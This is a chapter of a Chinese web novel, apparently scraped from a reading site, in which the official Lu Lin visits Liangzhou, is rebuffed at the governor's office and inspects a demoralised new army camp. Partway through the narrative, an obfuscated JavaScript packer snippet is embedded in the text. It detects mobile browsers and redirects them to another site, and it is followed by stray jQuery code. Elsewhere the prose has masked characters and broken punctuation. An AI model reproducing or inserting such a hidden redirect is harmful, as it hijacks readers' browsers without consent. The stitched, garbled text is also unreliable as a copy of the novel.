翌日。
天色刚亮,卢璘便已动身。
没有急着去新军营地上任,而是换上了一身寻常青色布衣,带着两名随从,再一次进入凉州府城。
想要在这盘根错节的西北立足,首先要做的,便是摸清这里的底细。
顺便,看看能不能见一见那位坐镇西北的肃王。
虽然同朝为官,但卢璘之前没有机会和肃王打过交道。
仅有一次,还是柳拱上折子提议新政时,遭到肃王激烈反对。
凉州府城街道宽阔,主干道足以容纳八马并行。
两侧商铺林立,酒楼、茶肆、当铺、布庄,鳞次栉比,一派繁华。
昨日匆忙,如今细看之下,街上行走的百姓,大多面带菜色,神情麻木。
街上不时有巡逻的士兵走过,一个个盔甲松垮,步履散漫。
外紧内松?
这是什么道理?
在街道上漫无目的走着,卢璘注意力很快被街角几家粮铺吸引。
这几家粮铺,无论大小,门口都挂着一块一模一样的招牌。
“丰谷行”。
吸引卢璘注意力是,丰谷行伙计的面貌,和街上百姓完全不一样。
一个个趾高气扬,吆喝声中都透着一股傲慢,路过百姓,大多只是远远地看上一眼,便匆匆离去,根本不敢靠近。
一行人穿过几条街,来到凉州都督府门前。
凉州都督府,西北三州的最高权力机构。
在这里,都督肃王一手掌控军政大权,凉州、甘州、肃州的驻军皆归他调配,三镇边防将领任免,也都是肃王一句话的事。
除了军事,西北的钱粮赋税、官员任免、边关贸易也都绕不过都督府。
地方上缴的税收,一半直接充作军费,五品以下的官吏,几乎都由肃王亲自指派。
就连和大夏交易的胡人部落,也得看肃王脸色行事。
上马管军,下马治民。
一句话,西北乱不乱,肃王说了算。
都督府门前侍卫森严。
随从上前递上名帖与调令。
不多时,一个中年文吏走了出来,自称是都督府管事。
他接过调令文书,当看到西北新军教**使那一行字
时脸上不易察觉地闪过一丝轻蔑。
“原来是卢大人失敬失敬。王爷正在处理军务请大人先入偏厅稍候。”
管事将卢璘引入一间偏厅奉上茶水后便转身离去。
就在这时隔壁正厅隐约传来一阵激烈争吵声。
“凭什么!凭什么又扣我们鹰扬卫的粮草!弟兄们在前线卖命回来连口饱饭都吃不上吗?”
一道粗犷嗓音响起带着压抑不住的怒火。
紧接着是另一道阴阳怪气的声音。
“张将军话可不能这么说。如今西北边境安稳哪来的什么前线?倒是新军那边几千张嘴嗷嗷待哺总不能让他们饿死吧?”
“新军?”
粗犷嗓音主人嗤笑一声。
“一帮流民败兵也配吃军粮?一群废物养着他们就是浪费粮食!”
争吵声越来越大。
卢璘静静地听着心神已沉入文宫。
九山河沙盘上代表着凉州府的光影清晰呈现。
鹰扬卫新军粮草.几条关键信息在沙盘上交织成一张复杂的关系网。
片刻之后管事去而复返和之前的态度截然不同满脸堆笑地回来。
“卢大人实在抱歉王爷今日军务繁忙实在抽不开身。”
“王爷吩咐了让您先去新军营地安顿下来改日他定会亲自接见大人。”
卢璘早有心里准备没有多言起身拱了拱手。
“有劳管事。”
“不敢当不敢当。”
管事连忙侧身避开随即对着门外招了招手。
“李虎你过来。”
一名五十来岁的老兵应声入内身材不高但看上去很壮实。
一张饱经风霜的脸上满是褶子但一双眼珠子时不时透着精光。
“你带卢大人去新军营地。”管事开口吩咐。
“是。”
老兵李虎应了一声对着卢璘做了一个请的手势。
卢璘点了点头带着人
再一次回到营地。
低矮破旧的营帐胡乱搭建栅栏歪歪扭扭营门口的哨兵靠着栅栏打瞌睡。
即便有李虎领着
,营地里的人也只是投来几瞥漠然的目光。
几个士兵懒洋洋地靠在角落里,看到有人进来,连眼皮都懒得抬一下。
整个营地,弥漫着一股懒散、颓废、毫无生机的气息。
与昨日所见,别无二致。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773552|185271||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李虎看出了卢璘的疑惑,走近两步。
“大人,您别见怪。
“这新军是三个月前才组建的,兵源都是些从关内逃难来的流民,还有些被打散的败兵散勇,甚至还有些犯了事的边军。
“朝廷也不重视,粮饷经常被克扣拖欠,所以.
李虎没有再说下去,但意思已经很明显。
一群乌合之众,一群被抛弃的人。
卢璘走进营地,脚下是坑洼不平的泥地,空气中混杂着汗臭和食物**的酸味。
不远处的空地上,一群士兵正围在一起,大呼小叫地赌钱。
另一边,几个士兵干脆躺在草堆上呼呼大睡。
看到李虎和卢璘带着人进来,也只是抬眼瞧了瞧,没有一个人起身迎接。
李虎领着卢璘,径直走向营地中央唯一一座还算像样的营帐。
刚走到帐门口,一股浓烈的酒气便扑面而来。
帐帘被掀开,一个三十来岁的壮汉摇摇晃晃地走了出来,上身赤裸,露出虬结的肌肉和几道狰狞的伤疤。
壮汉看到李虎,又瞥了一眼他身后的卢璘,打了个酒嗝,懒洋洋地开口。
“老李,今天怎么有空来我们这鸟不拉屎的地方?
说完,目光毫不客气地在卢璘身上扫过。
李虎连忙躬身:“吴副将,这位是新来的教**使,卢大人。
“哦?
壮汉这才正眼打量起卢璘,但脸上的轻慢还是不减。
“你就是那个新来的教**使?
“听说,是从京城贬下来的罪臣?
话音落下,周围几个看热闹的士兵顿时发出哄笑。
卢璘没有动怒,平静地打量着眼前的壮汉,也打量着整个混乱不堪的营地。
心神早已沉入九山河沙盘。
沙盘上,整个营地的布局、每一名士兵的分布、甚至每个人气息的强弱,都以光点的形式清晰地呈现在脑海中。
就在这时。
营地外突然传来一阵喧哗!
紧接着,就听到一声高喊。
“粮车来了!粮车来了!
轰!
一瞬间,整个死气沉沉的营地,瞬间沸腾!
原本在赌钱的、睡觉的、发呆的士兵,在听到粮车两个字的瞬间,疯了一般从地上弹起,争先恐后地涌向营门!